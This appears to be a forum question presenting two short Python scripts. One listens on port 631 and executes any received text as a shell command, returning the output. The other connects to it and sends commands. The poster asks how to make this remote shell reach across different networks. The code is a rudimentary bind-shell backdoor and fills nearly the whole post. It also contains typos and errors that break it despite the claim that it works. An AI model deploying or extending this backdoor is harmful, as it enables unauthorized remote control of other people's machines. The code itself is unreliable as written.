I have these two python scripts.
The server :
#!/bin/env python
#--*-- coding:UTF-8 --*--
import socket
connexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = input("Ip : ")
port = int(input("Port : "))
connexion.connect((host, port))
print("The connection with {} is done.".format(host, port))
started = True
while started:
choice = int(input(" [1] Command\n [2] Leave\n > "))
if choice == 1:
command = input(" Command : ")
connexion.send(command.encode())
retour = connexion.recv(1024).decode('latin1')
print(retour)
if choice == 2:
connexion.send("exit")
connexion.close()
break
And the client :
#!/bin/env python
#--*-- coding:UTF-8 --*--
import socket
import subprocess
connexion = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = ''
port = 631
connexion.bind((host,port))
connexion.listen(5)
connexion_client, infos_connexion = connexion.accept()
started = True
while started:
rcv_cmd = connexion_client.recv(1024)
rcv_cmd = rcv_cmd.decode()
if rcv_cmd != "exit":
cmd = subprocess.Popen(rcv_cmd, shell=true, stdout = subprocess.PIPE, stderr =subprocess.PIPE, stdin = subprocess.PIPE )
out = cmd.stdout.read() + cmd.sdterr.read()
connexion_client.send(out)
else:
started = False
conexion.close()
exit
These two scripts work perfectly on my local network, but if I want to use it on two different networks, how can I do that? Do you have any link/tips on how to learn how to do that?